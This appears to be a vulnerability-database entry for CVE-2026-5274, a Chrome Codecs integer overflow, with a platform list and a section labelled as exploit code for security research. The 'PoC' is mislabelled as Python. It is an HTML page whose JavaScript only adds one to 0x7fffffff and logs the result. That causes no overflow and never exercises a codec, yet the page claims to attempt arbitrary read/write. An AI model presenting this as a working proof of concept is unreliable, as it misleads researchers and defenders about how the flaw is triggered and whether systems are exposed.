Integer overflow in Codecs in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5274 (Conceptual)
This PoC demonstrates a crafted HTML page intended to trigger
the integer overflow in Chrome Codecs prior to 146.0.7680.178.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5274 PoC</title>
</head>
<body>
<script>
// Attempt to trigger the vulnerability in the Codecs component
try {
// Setup buffer to simulate memory layout
var buffer = new ArrayBuffer(0x1000);
var view = new DataView(buffer);
// Malicious input to trigger overflow in Codecs
// (Actual exploit requires specific codec payload)
console.log("[+] Triggering Integer Overflow in Codecs...");
// Hypothetical trigger function
trigger_exploit(view);
function trigger_exploit(data) {
// Placeholder for crafted data causing overflow
var evil_val = 0x7fffffff;
// Overflow happens here
var corrupted_offset = evil_val + 1;
// Attempt arbitrary read/write
console.log("Corrupted offset: " + corrupted_offset);
}
} catch (e) {
console.log("[-] Exploit failed: " + e.message);
}
</script>
<h1>CVE-2026-5274 Test Page</h1>
</body>
</html>